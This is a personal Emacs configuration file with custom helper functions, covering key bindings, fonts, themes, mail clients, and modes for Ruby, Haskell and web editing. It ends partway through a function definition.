    (when (file-directory-p "~/.emacs.d/bbdb/")
      (add-to-list 'load-path "~/.emacs.d/bbdb/"))
    (when (file-directory-p "~/.emacs.d/mailcrypt/")
      (add-to-list 'load-path "~/.emacs.d/mailcrypt/"))
    (when (file-directory-p "~/.emacs.d/epg/")
      (add-to-list 'load-path "~/.emacs.d/epg/"))
    (when (file-directory-p "~/.emacs.d/g-client/")
      (add-to-list 'load-path "~/.emacs.d/g-client/"))
    (when (file-directory-p "~/.emacs.d/emacs-w3m/")
      (add-to-list 'load-path "~/.emacs.d/emacs-w3m/"))
    (when (file-directory-p "~/.emacs.d/org-mode/")
      (add-to-list 'load-path "~/.emacs.d/org-mode/"))
    
    (when (file-exists-p "~/.private.el")
      (load-file "~/.private.el"))
    
    (add-to-list 'vc-handled-backends 'GIT)
    
    (set-default 'truncate-lines t)
    (setq 
     nopaste-facility   "/home/mit/bin/rapaste"
     mt-is-default-font t
     mt-default-font     "-*-terminus-medium-*-*-*-20-*-*-*-*-*-*-*"
     mt-default-font     "-*-Monaco-normal-r-*-*-12-102-120-120-c-*-iso8859-1"
     mt-other-font       "-*-unifont-*-*-*-*-16-*-*-*-*-*-*-*"
     mt-rcirc-font       "-*-helvetica-medium-r-*-*-17-*-*-*-*-*-*-*"
     )
    
    (require 'filladapt)
    (require 'mt-howm)
    (require 'haskell-mode)
    (require 'mt-functions)
    
    (require 'bitlbee)
    (setq bitlbee-executable nil)
    
    ;;(require 'mt-org)
    (setq mew-imap-inbox-folder "+inbox")
    
    (autoload 'mldonkey "mt-mldonkey.el" "mldonkey" t)
    ;;(autoload 'setnu-mode "setnu.el" "setnu" t)
    
    (require 'vc-hg)
    
    (setq frame-title-format '("" invocation-name ": %b") icon-title-format "%b")
    
    
    (global-set-key (kbd "M-?") (lambda () (interactive) (insert "\\")))
    (global-set-key (kbd "M-7") (lambda () (interactive) (insert "{")))
    (global-set-key (kbd "M-8") (lambda () (interactive) (insert "[")))
    (global-set-key (kbd "M-9") (lambda () (interactive) (insert "]")))
    (global-set-key (kbd "M-0") (lambda () (interactive) (insert "}")))
    (global-set-key (kbd "M-1") (lambda () (interactive) (insert "|")))
    (global-set-key (kbd "M-2") (lambda () (interactive) (insert "@")))
    (global-set-key (kbd "M-3") (lambda () (interactive) (insert "~")))
    (global-set-key (kbd "M-4") (lambda () (interactive) (insert "<")))
    (global-set-key (kbd "M-5") (lambda () (interactive) (insert ">")))
    ;; (prefer-coding-system 'latin-1)
    ;; (if (not (assoc "UTF-8" language-info-alist))
    ;;     (set-language-environment "latin-1")
    ;;   (set-language-environment "utf-8")
    ;;   (set-keyboard-coding-system 'utf-8)
    ;;   (set-terminal-coding-system 'utf-8)
    ;;   (prefer-coding-system 'utf-8))
    
    (defalias 'yes-or-no-p 'y-or-n-p)
    
    (setq-default 
     display-time-load-average   nil
     display-time-interval       30
     display-time-use-mail-icon  t
     require-final-newline 1
     indent-tabs-mode nil
     default-major-mode 'text-mode
     even-window-heights nil
     resize-mini-windows nil
     sentence-end-double-space nil
     display-time-24hr-format t
     browse-url-browser-function 'mt-choose-browser
     default-tab-width 8
     scroll-preserve-screen-position 'keep
     user-mail-address "mictro@gmail.com"
     user-full-name "Michael Trommer"
     inhibit-startup-message t
     diff-switches "-c"
     comment-style 'extra-line
     case-fold-search t
     read-file-name-completion-ignore-case t
     completion-ignore-case t
     cursor-in-non-selected-windows nil
     x-stretch-cursor t
     mouse-yank-at-point t
     mouse-highlight 1
     )
    (add-hook 'before-save-hook 'time-stamp)
    
    (if (file-directory-p "~/.backup")
        (setq backup-directory-alist '(("." . "~/.backup")))
      (message "Directory does not exist: ~/.backup"))
    
    (setq dabbrev-case-fold-search nil
          confirm-kill-emacs 'yes-or-no-p)
    
    
    ;; Backups 
    (setq backup-by-copying t
          delete-old-versions t
          version-control t
          kept-new-versions 300
          kept-old-versions 200)
    (set-frame-parameter (selected-frame) 'active-alpha 0.54)
    (setq mac-transparency-alpha 84)
    
    
    (setq w3m-default-save-directory "~/Downloads"
         kept-old-versions 200)
    
    (require 'w3m)
    (require 'url)
    (require 'fit-frame)
    (setq fit-frame-min-height 100)
    (setq fit-frame-min-width 100)
    ;;(require 'autofit-frame)
    ;;(add-hook 'after-make-frame-functions 'fit-frame)
    
    (global-set-key (kbd "C-c i") 'mt-increment-number-at-point)
    (global-set-key (kbd "C-c M") 'mt-show-message-buffer)
    (global-set-key (kbd "C-%") 'mt-match-paren)
    (global-set-key (kbd "C-c M") 'bbdb-complete-name)
    (global-set-key (kbd "C-c l") 'mt-goto-last-edit)
    (global-set-key (kbd "C-c TAB") 'indent-relative)
    (global-set-key (kbd "C-c C-f") 'find-file-root)
    (global-set-key (kbd "C-x n") nil)
    (global-set-key (kbd "C-x n '") (lambda () (interactive) (insert "’")))
    (global-set-key (kbd "C-x n p") (lambda () (interactive) (insert "平和")) )
    (global-set-key (kbd "C-x n k") (lambda () (interactive) (insert "ĸ")) )
    (global-set-key (kbd "C-x n g") (lambda () (interactive) (insert "&gassi;")) ) ;
    (global-set-key (kbd "C-x n h") (lambda () (interactive) (insert "♥")) )
    
    
    (global-set-key (kbd "C-c , ,") 'howm-menu)
    (global-set-key (kbd "C-c , G") 'howm-refresh)
    (global-set-key (kbd "C-c e") 'mt-eshell-here)
    
    (define-key isearch-mode-map (kbd "C-o") 'mt-isearch-occur)
    
    (global-set-key (kbd "C-w") 'backward-kill-word)
    (global-set-key (kbd "C-c C-k") 'kill-region)
    
    (global-set-key (kbd "C-x <up>") 'windmove-up)
    (global-set-key (kbd "C-x <down>") 'windmove-down)
    (global-set-key (kbd "C-x <left>") 'windmove-left)
    (global-set-key (kbd "C-x <right>") 'windmove-right)
    
    
    
    (autoload 'predictive-mode "predictive" "predictive" t)
    (set-default 'predictive-auto-add-to-dict t)
    (setq predictive-main-dict 'mt-dict
          predictive-auto-learn t
          predictive-add-to-dict-ask nil
          predictive-use-auto-learn-cache t
          predictive-which-dict t)
    
    (require 'bs)
    (setq bs-configurations (butlast bs-configurations 2))
    (add-to-list 'bs-configurations
                 '("files" nil nil nil bs-visits-non-file bs-sort-buffer-interns-are-last))
    (add-to-list 'bs-configurations
                 '("ruby" nil nil nil (lambda (buf) (with-current-buffer buf (not (memq major-mode '(ruby-mode))))) nil))
    (add-to-list 'bs-configurations 
                 '("dired" nil nil nil (lambda (buf) (with-current-buffer buf (not (eq major-mode 'dired-mode)))) nil))
    (add-to-list 'bs-configurations
                 '("mail" nil nil nil (lambda (buf) (with-current-buffer buf (not (memq major-mode '(mew-draft-mode mew-message-mode mew-summary-mode))))) nil))
    
    
    (global-set-key (kbd "C-x C-b") 'bs-show)
    ;;(global-set-key (kbd "C-c O") (lambda () (interactive) (make-frame-on-display ":0.0")))
    (global-set-key (kbd "C-c C-u") 'mt-kill-to-beginning-of-line)
    (global-set-key (kbd "C-c d")   'mt-insert-date)
    (global-set-key (kbd "C-c D")   'mt-insert-any-date)
    
    (require 'mt-encryption)
    (require 'mt-rcirc)
    (global-set-key (kbd "M-.") 'hippie-expand)
    (global-set-key (kbd "C-x I") 'mt-indent-buffer)
    (global-set-key (kbd "M-RET") 'comment-indent-new-line)
    (global-set-key (kbd "C-x t") 'mt-transpose-windows)
    (global-set-key (kbd "C-x j") 'join-line)
    (global-set-key (kbd "C-c g") 'goto-line)
    (global-set-key (kbd "C-x w") 'mark-word)
    (global-set-key (kbd "C-c G") 'goto-char)
    (global-set-key (kbd "<f1>")  'mt-occur) ; grep buffers
    (global-set-key (kbd "C-c b") 'browse-url)
    (global-set-key (kbd "C-c b") 'browse-url)
    (global-set-key (kbd "C-c G") 'mt-google)
    (global-set-key (kbd "C-c B") 'browse-url-at-point)
    (global-set-key (kbd "C-c C-e") 'mt-edit-region)
    ;;(global-set-key (kbd "C-c B")   'anything)
    (global-set-key (kbd "C-t")   nil)
    
    (autoload 'bm-toggle "bm" "bm" t)
    (autoload 'highline-mode "highline" nil t)
    (autoload 'highline-local-mode "highline" nil t)
    
    (global-set-key (kbd "M-,")   'ispell-complete-word)
    (global-set-key (kbd "C-t r") 'greader-reading-list)
    (global-set-key (kbd "C-t d") 'mt-dict-cc)
    (global-set-key (kbd "C-t t") 'bm-toggle)
    ;;(global-set-key (kbd "C-t RET") 'newsticker-show-news)
    (global-set-key (kbd "C-t n") 'bm-next)
    (global-set-key (kbd "C-t p") 'bm-previous)
    (global-set-key (kbd "C-t P") 'mt-nopaste-region)
    (global-set-key (kbd "C-t c") 'bm-remove-all)
    (global-set-key (kbd "C-t i") 'irc)
    
    (global-set-key (kbd "C-t h") 'highline-local-mode)
    ;;(global-set-key (kbd "C-t o") 'outline-minor-mode)
    (global-set-key (kbd "C-t H") 'highlight-changes-mode)
    (global-set-key (kbd "C-t C-l") 'ielm)
    
    (global-set-key (kbd "C-c c") 'comment-or-uncomment-region)
    (global-set-key (kbd "C-c C") 'mt-switch-dictionarry)
    (global-set-key (kbd "C-x i") 'mt-insert-userid)
    (global-set-key (kbd "C-x S") 'mt-insert-signature)
    
    (global-set-key (kbd "C-x p") 'mt-insert-mpd-np)
    (global-set-key (kbd "C-x M") 'mew)
    (global-set-key (kbd "C-x m") 'compose-mail)
    (global-set-key (kbd "C-x P") 'mt-insert-last-paste)
    (global-set-key (kbd "C-x a") 'abbrev-mode)
    (global-set-key (kbd "C-x F") 'mt-toggle-font)
    (global-set-key (kbd "C-x U") 'mt-toggle-utf8-latin1)
    
    (require 'hideshow)
    (define-key hs-minor-mode-map (kbd "C-c C-e") 'hs-show-block)
    (define-key hs-minor-mode-map (kbd "C-c C-c") 'hs-toggle-hiding)
    (define-key hs-minor-mode-map (kbd "C-c C-x") 'hs-hide-block)
    (define-key hs-minor-mode-map (kbd "C-c C-t") 'hide-body)
    (define-key hs-minor-mode-map (kbd "C-c C-a") 'hs-show-all)
    (define-key hs-minor-mode-map (kbd "C-c C-h") 'hs-hide-all)
    (define-key hs-minor-mode-map (kbd "C-c C-l") 'hs-hide-level)
    
    
                                            ;(global-set-key (kbd "C-x C-p") 'mt-nopaste-region)
    (global-set-key (kbd "M-_") 'hippie-expand)
    (global-set-key (kbd "C-x *") 'isearch-current-symbol)
    (global-set-key (kbd "C-x c") 'mt-line-comment-and-duplicate)
    ;; Ackro!
    (global-set-key (kbd "C-x A") 'mt-insert-ackro-post-skel)
    (global-set-key (kbd "C-x C-y") 'mt-choose-frame-setup)
    
    
    (iswitchb-mode 1)
    (when (and (featurep 'tool-bar)  window-system)
      (tool-bar-mode -1))
    (when (fboundp 'blink-cursor-mode)
      (blink-cursor-mode -1))
    (when (fboundp 'scroll-bar-mode)
      (scroll-bar-mode -1))
    (when (fboundp 'menu-bar-mode)
      (menu-bar-mode -1))
    
    
    (setq display-time-day-and-date nil
          display-time-use-mail-icon t
          ;;display-time-mail-directory "/home/mit/Maildir/new"
          )
    (setq mark-even-if-inactive t)
    (random t)
    (setq show-paren-delay 0
          show-paren-style 'parenthesis
          hl-paren-colors '("LawnGreen" "SpringGreen"
                            "chartreuse", "YellowGreen"))
    
    
    
    ;;(setq-default ispell-dictionary "german8")
    
    (setq ispell-program-name "/opt/local/bin/aspell")
    (eval-after-load "ispell"
      '(add-to-list 'ispell-dictionary-alist
                    '("german8"
                      "[a-zA-ZäöüßÄÖÜ]" "[^a-zA-ZäöüßÄÖÜ]" "[']" t
                      ("-C" "-d" "german")
                      "~latin1" iso-8859-1)))
    
    (eval-after-load "flyspell"
      ;;'(define-key flyspell-mode-map "\M-\t" 'ispell-word)
      '(add-to-list 'ispell-dictionary-alist
                    '("german8"
                      "[a-zA-ZäöüßÄÖÜ]" "[^a-zA-ZäöüßÄÖÜ]" "[']" t
                      ("-C" "-d" "german")
                      "~latin1" iso-8859-1)))
    
    (add-hook 'eshell-mode-hook
              '(lambda () (define-key eshell-mode-map "\C-a" 'mt-eshell-maybe-bol)))
    
    (add-to-list 'auto-mode-alist '("\\.ht$" . nxml-mode))
    
    (require 'ruby-block)
    
    (add-hook 'nxml-mode-hook 'mt-html-setup)
    (autoload 'nxml-mode "nxml/autostart.el" "nxml/autostart.el" t)
    (define-abbrev-table 'global-abbrev-table '(
                                                ("alpha" "α" nil 0)
                                                ("beta" "β" nil 0)
                                                ("gamma" "γ" nil 0)
                                                ("theta" "θ" nil 0)
                                                ("ackroorg" "http://ackro.org/" nil 0)
                                                ("aimages" "http://ackro.org/Images/" nil 0)
                                                ))
    
    
    
    (autoload 'emms-play-dired "mt-emms" "mt-emms" t)
    (autoload 'emms-add-dired  "mt-emms" "mt-emms" t)
    (autoload 'anything "anything" "anything" t)
    ;;(anything-iswitchb-setup) ; no, ’cause mess with my buffers
    
    (set-register ?e '(file . "~/.emacs"))
    
    
    (require 'mt-unicode)
    ;;(require 'mt-mew)
    (require 'bbdb)
    (bbdb-initialize)
    ;; (define-key mew-summary-mode-map ":" 'bbdb/mew-show-sender)
    ;; (define-key mew-summary-mode-map ";" 'bbdb/mew-edit-notes)
    ;; (add-hook 'mew-message-hook 'bbdb/mew-update-record)
    ;; (define-key mew-draft-mode-map (kbd "M-<tab>") 'bbdb-complete-name)
    
    (if (boundp 'mail-user-agent)
        (setq mail-user-agent 'mew-user-agent))
    (if (fboundp 'define-mail-user-agent)
        (define-mail-user-agent
          'mew-user-agent
          'mew-user-agent-compose
          'mew-draft-send-message
          'mew-draft-kill
          'mew-send-hook))
    (autoload 'mew "mt-mew" "autoload mew." t)
    (autoload 'compose-mail "mt-mew" "autoload mew." t)
    (autoload 'mew-user-agent-compose "mew" nil t)
    
    ;;; Haskell
    (add-to-list 'auto-mode-alist '("\\.[hg]s$"   . haskell-mode))
    (add-to-list 'auto-mode-alist '("\\.hi$"      . haskell-mode))
    (add-to-list 'auto-mode-alist '("\\.l[hg]s$"  . literate-haskell-mode))
    (autoload 'haskell-mode "haskell-mode"
      "Major mode for editing Haskell scripts" t)
    (autoload 'literate-haskell-mode "haskell-mode"
      "Major mode for editing literate Haskell scripts" t)
    (autoload 'run-ghci "haskell-ghci"
      "Go to the *ghci* buffer" t nil)
    ;;(set-variable 'haskell-program-name "ghci")
    (defalias 'run-haskell (quote switch-to-haskell))
    (autoload (quote switch-to-haskell) "inf-haskell"
      "Show the inferior-haskell buffer.  Start the process if needed." t nil)
    
    (add-hook 'haskell-mode-hook 'mt-haskell-setup)
    
    (autoload 'highlight-parentheses-mode "highlight-parentheses"
      "highlight parentheses mode" t)
    
    
    
    (require 'g)
    (setenv "SHELL" "/bin/sh")
    (setq g-user-email "mictro@gmail.com")
    
    
    (require 'fillcode)
    (autoload 'fillcode "fillcode" "fillcode" t)
    (setq mudel-truncate-buffer-size (* 256 1024))
    
    (mouse-avoidance-mode 'exile)
          
    (setq pcomplete-cycle-completions nil)
                                      
    (setq shell-prompt-pattern "^[^#$%\n]*[#$%*>] *")
    
    
    (setq tramp-default-method "ssh")
    (when (file-directory-p "~/.tramp-auto-save-directory")
      (setq tramp-auto-save-directory "~/.tramp-auto-save-directory"))
    
    (autoload 'w3m-browse-url "w3m" "Ask emacs-w3m to browse URL." t)
    
    (add-hook 'w3m-mode-hook 'mt-w3m-setup)
    (add-hook 'w3m-form-input-textarea-mode-hook 'mt-remove-cr)
    
    ;; This might help in saving cookies
    (eval-after-load "w3m"
      '(progn
         (add-hook 'kill-emacs-hook
                   (lambda ()
                     (w3m-quit t)))))
    
    (if (display-mouse-p) (mouse-avoidance-mode 'animate))
    
    (setq hippie-expand-try-functions-list '(try-expand-dabbrev-visible
                                             try-complete-file-name
                                             try-expand-dabbrev-from-kill
                                             try-expand-dabbrev
                                             try-expand-dabbrev-all-buffers
                                             try-complete-file-name))
    
    (global-set-key [insert] (function (lambda () (interactive) (message "Sorry, overwrite mode has been disabled forever."))))
    (global-set-key [insertchar] (function (lambda () (interactive) (message "Sorry, overwrite mode has been disabled forever."))))
    (global-set-key (kbd "C-z") (function (lambda () (interactive) (message "Sorry, no icons..."))))
    
    
    (setq ange-ftp-default-user "anonymous")
    (setq ange-ftp-generate-anonymous-password "mt@ackro.org")
    
    (autoload 'yaml-mode "/home/mit/.emacs.d/yaml-mode" nil t)
    (add-to-list 'auto-mode-alist '("\\.ya?ml$" . yaml-mode))
    
    (add-to-list 'auto-mode-alist '("\\.css$" . css-mode))
    (autoload 'css-mode "css-mode" "CSS mode" t)
    (setq cssm-indent-function #'cssm-c-style-indenter)
    
    (autoload 'wdired "wdired" "wdired" t)
    
    
    (require 'mt-dired)
    
    (require 'mt-ruby)
    (autoload 'ri "/home/mit/.emacs.d/ri-ruby.el" nil t)
    (autoload 'run-ruby "inf-ruby" "Run an inferior Ruby process")
    (autoload 'inf-ruby-keys "inf-ruby" "Set local key defs for inf-ruby in ruby-mode")
    (setq ri-ruby-script "/home/mit/.emacs.d/ri-emacs.rb")
    (autoload 'ruby-electric-mode "ruby-electric" "ruby-electric")
    
    (require 'snippet)
    
    (define-abbrev-table 'mt-ruby-mode-abbrev-table '())
    (define-abbrev-table 'mt-rcirc-mode-abbrev-table '())
    
    ;; (snippet-with-abbrev-table 'mt-rcirc-mode-abbrev-table
    ;;                            ("cop" . "/mode #ccc +o $${nick}")
    ;;                            ("cdop" . "/mode #ccc -o $${nick}"))
    
    
    ;; (snippet-with-abbrev-table
    ;;  'mt-ruby-mode-abbrev-table
    ;;  ("sndivi" . "<div id=\"$${id}\">\n$>$.\n</div>$>")
    ;;  ("sndivc" . "<div class=\"$${class}\">\n$>$.\n</div>$>")
    ;;  ("snpi" . "<p id=\"$${id}\">\n$>$.\n</p>$>")
    ;;  ("snpc" . "<p class=\"$${class}\">\n$>$.\n</p>$>")
    ;;  ("sna" . "<a href=\"$${link}\">$$</a>")
    ;;  ("sninput" . "<input type=\"$${text}\" id=\"$${emailField}\" onclick=\"value=\'\'\"\n$>value=\"$${Enter Your Email Here}\" />")
    ;;  ("snform" . "<form id=\"$${emailForm}\" method=\"$${post}\" action=\"$$\">\n<p>$>\n$.$>\n</p>$>\n</form>$>"))
    
                      
    ;;(add-hook 'ruby-mode-hook 'my-ruby-compile-hook) 
    
    (autoload 'ruby-mode "ruby-mode" "Ruby mode" t)
    (autoload 'toggle-buffer "toggle" "toggle" t)
    (autoload 'toggle-style "toggle" "toggle" t)
    (add-to-list 'auto-mode-alist '("\\.rbx?$" . ruby-mode))
    (add-hook 'howm-view-contents-mode-hook 'mt-howmc-setup)
    (add-hook 'ruby-mode-hook 'mt-ruby-setup)
    (add-hook 'yaml-mode-hook 'mt-yaml-setup)
    
    
    
    (autoload 'dylan-mode "dylan-mode" "Major mode for Dylan source" t)
    (setq auto-mode-alist
          (cons '("\\.dylan$" . dylan-mode) auto-mode-alist))
    (add-hook 'dylan-mode-hook 'mt-dylan-setup)
    
    
    
    (require 'rails)
    (add-to-list 'auto-mode-alist '("\\.rhtml$" . html-mode))
    (add-hook 'rails-minor-mode-hook 'mt-rails-setup)
    
    (setq auto-mode-alist
          (append '(("\\.php$" . php-mode)
                    ("\\.c$"   . c-mode)
                    ("\\.htm$" . nxml-mode)
                    ("\\.html$". nxml-mode)
                    ("\\.rb$"  . ruby-mode)
                    ("\\.rbx$" . ruby-mode)
                    ("\\.hs$"  . haskell-mode)
                    ("\\.rd$"  . rd-mode)
                    ("\\.rdoc$"  . rd-mode))
                  auto-mode-alist))
    
    
    ;;; various minor modes
    (dolist (i '((auto-image-file-mode 1)
                 (global-auto-revert-mode 1)
                 (line-number-mode -1)
                 (display-time-mode 1)
                 (column-number-mode 1)
                 (show-paren-mode 1)
                 (winner-mode 1)
                 (tooltip-mode -1)
                 (size-indication-mode 1)
                 (transient-mark-mode 0)
                 (global-font-lock-mode 1)
                 (auto-compression-mode 1)
                 ))
      (when (fboundp (car i))
        (funcall (car i) (cdr i))))
    
    (autoload 'autoinsert "autoinsert" "Automaticaly headers for files")
    (add-hook 'find-file-hooks 'auto-insert)
    (setq auto-insert-directory (expand-file-name "~/.emacs.d/autoinsert/"))
    (setq auto-insert-query nil)
    (define-auto-insert "\\.rb\\'"         "ruby")
    
    (load "color-theme.el")
    (load "color-theme-dd")
    (load "color-theme-pop")
    
    (require 'modeline-posn)
    
    (add-hook 'after-make-frame-functions
              (lambda (frame)
                (set-variable 'color-theme-is-global nil)
                (select-frame frame)
                (when window-system
                  (color-theme-pop))
                (when (not window-system)
                  (color-theme-nox))))
    
    (when (not window-system)
      (message "no X")
      (load "color-theme-nox")
      (setq server-name "mit")
      (when (or (not (boundp 'server-process))
                (not (eq (process-status server-process)
                         'listen)))
        (server-start)))
    
    
    (when window-system
      (set-face-font 'default mt-default-font)
      (load "forx.el")
      (color-theme-initialize)
      (color-theme-dd)
      (setq favorite-color-themes
            '((color-theme-dd)
              (color-theme-pop)
              (color-theme-pop)))
      (setq x-select-enable-clipboard t
            interprogram-paste-function 'x-cut-buffer-or-selection-value))
    
      
    
    (require 'cursor-chg)
    (change-cursor-mode 1)         ; On for overwrite/read-only/input mode
    (toggle-cursor-type-when-idle 5)        ; On when idle
    (setq curchg-default-cursor-type 'bar)
    (setq curchg-default-cursor-color "#FF8000")
    (setq curchg-input-method-cursor-color "yellow")
    (require 'saveplace)
    (setq-default save-place t)
    
    
    ;;; escreen
    (setq escreen-prefix-char (kbd "C-c a")
          escreen-new-screen-default-buffer "Code")
    (require 'escreen)
    (escreen-install)
    
    (font-lock-add-keywords 
     'ruby-mode
     '(("\\<\\(FIXME\\|TODO\\):" 1 font-lock-warning-face prepend)))
    
    
    
    (add-hook 'after-save-hook
              '(lambda ()
                 (progn
                   (and (save-excursion
                          (save-restriction
                            (widen)
                            (save-match-data
                              (looking-at "^#!"))))
                        (shell-command (concat "chmod u+x " buffer-file-name))
                        (message (concat "Saved as script: " buffer-file-name))
                        ))))
    
    
    (put 'narrow-to-region 'disabled nil)
    (put 'scroll-left 'disabled nil)
    (put 'downcase-region 'disabled nil)
    
    (autoload 'js2-mode "js2" nil t) 
    (add-to-list 'auto-mode-alist'("\\.js$" . js2-mode))
    (setq js2-basic-offset 2) 
    (setq js2-use-font-lock-faces t)
    
    ;; javascript-mode
    ;; (add-to-list 'auto-mode-alist (cons  "\\.\\(js\\|as\\|json\\|jsn\\)\\'" 'javascript-mode))
    ;; (autoload 'javascript-mode "javascript" nil t)
    ;; (setq js-indent-level 2)
    (autoload 'rd-mode "rd-mode" nil t)
    
    (setq w3m-coding-system 'utf-8
          w3m-file-coding-system 'utf-8
          w3m-file-name-coding-system 'utf-8
          w3m-input-coding-system 'utf-8
          w3m-output-coding-system 'utf-8
          w3m-terminal-coding-system 'utf-8)
    
    (autoload 'haml-mode "haml-mode" nil t)
    (autoload 'sass-mode "sass-mode" nil t)
    (add-to-list 'auto-mode-alist '("\\.sass$" . sass-mode))
    (add-to-list 'auto-mode-alist '("\\.haml$" . haml-mode))
    (add-hook 'sass-mode-hook 'mt-sass-setup)
    (add-hook 'haml-mode-hook 'mt-haml-setup)
    
    
    (autoload 'unicode-helper-mode "unicode-helper-mode" nil t)
    
    
    ;; show char name, used by C-u C-x = 
    (let ((x "~/.emacs.d/UnicodeData.txt"))
      (when (file-exists-p x)
        (setq describe-char-unicodedata-file x)))
    
    (require 'uniquify)
    (setq uniquify-buffer-name-style 'reverse)
    (setq uniquify-separator "|")
    (setq uniquify-after-kill-buffer-p t)
    (setq uniquify-ignore-buffers-re "^\\*")
    
    (custom-set-variables
     ;; custom-set-variables was added by Custom.
     ;; If you edit it by hand, you could mess it up, so be careful.
     ;; Your init file should contain only one such instance.
     ;; If there is more than one, they won't work right.
     '(emms-player-list (quote (emms-player-mplayer-playlist emms-player-mplayer)))
     '(icicle-reminder-prompt-flag 6)
     '(safe-local-variable-values (quote ((folded-file . t) (ruby-indent-level . 2)))))
    (custom-set-faces
     ;; custom-set-faces was added by Custom.
     ;; If you edit it by hand, you could mess it up, so be careful.
     ;; Your init file should contain only one such instance.
     ;; If there is more than one, they won't work right.
     )
    
    
    
    
    
    
    ;; .emacs.d/mt-functions
    
    
    
    (defvar find-file-root-prefix (if (featurep 'xemacs) "/[sudo/root@localhost]" "/su::" )
      "*The filename prefix used to open a file with `find-file-root'.")
    
    (setq find-file-root-prefix "/su::")
    
    (defvar find-file-root-history nil
      "History list for files found using `find-file-root'.")
    
    (defvar find-file-root-hook nil
      "Normal hook for functions to run after finding a \"root\" file.")
    
    (defun find-file-root ()
      "*Open a file as the root user.
       Prepends `find-file-root-prefix' to the selected file name so that it
       maybe accessed via the corresponding tramp method."
    
      (interactive)
      (require 'tramp)
      (let* ( ;; We bind the variable `file-name-history' locally so we can
             ;; use a separate history list for "root" files.
             (file-name-history find-file-root-history)
             (name (or buffer-file-name default-directory))
             (tramp (and (tramp-tramp-file-p name)
                         (tramp-dissect-file-name name)))
             path dir file)
    
        ;; If called from a "root" file, we need to fix up the path.
        (when tramp
          (setq path (tramp-file-name-path tramp)
                dir (file-name-directory path)))
    
        (when (setq file (read-file-name "root: " dir path))
          (find-file (concat find-file-root-prefix file))
          ;; If this all succeeded save our new history list.
          (setq find-file-root-history file-name-history)
          ;; allow some user customization
          (run-hooks 'find-file-root-hook))))
    
    
    (defun mt-find-next-double-word ()
      "move to next doubled word, ignoring <...> tags and any
      whitespace (including new lines)."
      (interactive)
      (re-search-forward "\\<\\([a-z]+\\)\\([\n \t]\\|<[^>]+>\\)+\\1\\>"))
    
    
    (defun mt-toggle-utf8-latin1 () 
      (interactive)
      (if(or (equal buffer-file-coding-system 'utf-8-unix)
             (equal buffer-file-coding-system 'mule-utf-8-unix))
          (progn 
            (set-buffer-file-coding-system 'latin-1)(save-buffer)
            (message "buffer converted to latin-1")
            ) 
        (set-buffer-file-coding-system 'utf-8)(save-buffer)
        (message "buffer converted to utf-8")
        )
      )
    
    (defun mt-goto-last-edit ()
      "Moves point to the buffer's last edit."
      (interactive)
      (if (or (null buffer-undo-list) (eq buffer-undo-list t))
          (message "This buffer has not been edited yet.")
        (let ((tail (cdr buffer-undo-list))
              (last-pos nil))
          (while (and tail (null last-pos))
            (setq next (car tail))
            (cond
             ((integerp next) (setq last-pos next))
             ((atom next) nil)
             ((stringp (car next)) (setq last-pos (abs (cdr next))))
             ((integerp (car next)) (setq last-pos (cdr next)))
             ((null (car next)) nil))
            ;;;(message (count-lines-page))
            (setq tail (cdr tail)))
          (if last-pos
              (goto-char last-pos)
            (message "Cannot find last edit.")))))
    
    
    ;;; Terminus Font
    (defun mt-terminus-font (bold)
      "Sets the Terminus font. With a prefix argument, turns bold weight on."
      (interactive "P")
      (let ((weight (if bold "bold" "medium")))
        (set-default-font
         (format "-xos4-terminus-%s-*-*-*-20-*-*-*-*-*-*-*" weight))))
    
    (defun mt-revert-font ()
      "Back to the standard 9x15 fontset."
      (interactive)
      (set-default-font "9x15"))
    
    (defun mt-choose-frame-setup (&optional arg)
      (interactive "P")
      (setq color-theme-is-global nil)
      (when window-system
        (set-face-font 'default mt-default-font)
        (mt-setup-frame arg))
      (when (not window-system)
        (mt-setup-frame-nox)))
    
    
    (defun mt-fontset-menu ()
      (interactive)
      (x-popup-menu
       `((0 0) ,(selected-frame)) 
       (append x-fixed-font-alist
               (list (generate-fontset-menu)))))
    
    
    (defun mt-toggle-font (&optional arg)
      (interactive "P")
      (if mt-is-default-font
          (progn
            (message mt-other-font)
            (set-face-font 'default mt-other-font)
            (setq mt-is-default-font nil))
        (progn
          (message mt-default-font)
          (set-face-font 'default mt-default-font)
          (setq mt-is-default-font t)))
      (mt-setup-frame))
      
    (defun mt-setup-frame-nox ()
      (interactive)
      (message "no X")
      (color-theme-nox))
    
    (defun mt-setup-frame (&optional arg)
      (interactive "P")
      (tool-bar-mode -1)
      (when (not arg)
        (load "color-theme-pop")
        (color-theme-pop))
      (when arg
        (load "color-theme-dd")
        (color-theme-dd)))
        
    (defun mt-line-comment-and-duplicate()
      "Comment a line and duplicate it."
      (interactive)
      (let (
            (beg (line-beginning-position))
            (end (+ 1 (line-end-position))))
        (copy-region-as-kill beg end)
        (comment-region beg end)
        (beginning-of-line)
        (forward-line 1)
        (yank)
        (forward-line -1)))
    
    (defun mt-major-mode-p (symbol)
      "Return non-nil if SYMBOL is a major mode.
    Used in `interactive' forms to read major mode names from the user."
      (and (fboundp symbol)
           (let ((function-name (symbol-name symbol)))
             (and (string-match "-mode\\'" function-name)
                  (not (string-match "\\`turn-\\(on\\|off\\)-"
                                     function-name))))
           (not (assq symbol minor-mode-alist))))
    
    (defun mt-read-major-mode ()
      "Read a major mode from the user, and return it.
    Based on Kevin Rogers' `edit-region' interactive spec."
      (intern (completing-read
               (format "Major mode (default `%s'): " major-mode)
               obarray 'mt-major-mode-p t nil nil
               (symbol-name major-mode))))
    
    (defun mt-edit-region (&optional edit-mode)
      "Edit the current region in a separate buffer.
    With a prefix arg, change `major-mode' to EDIT-MODE."
      (interactive (list (when current-prefix-arg (mt-read-major-mode))))
      (clone-indirect-buffer nil t)
      (narrow-to-region (region-beginning) (region-end))
      (shrink-window-if-larger-than-buffer)
      (when edit-mode (funcall edit-mode)))
    
    (defun mt-kill-mode-buffers (&optional mode)
      "Kill all buffers of this major mode.
    With optional argument MODE, all buffers in major mode MODE are killed
    instead."
      (interactive (list (when current-prefix-arg (ted-read-major-mode))))
      (setq mode (or mode major-mode))
      (when (or current-prefix-arg
                (y-or-n-p (format "Really kill all %s buffers? " mode)))
        (mapc (lambda (buffer)
                (when (with-current-buffer buffer
                        (eq major-mode mode))
                  (kill-buffer buffer)))
              (buffer-list))))
    
    
    
    (defun fix-backspace ()
      "Map control-h to work as backspace"
      (interactive)
      (keyboard-translate ?\C-h ?\C-?)
      (global-set-key [(hyper h)] 'help-command))
    
    (defun mt-switch-dictionarry()
      (interactive)
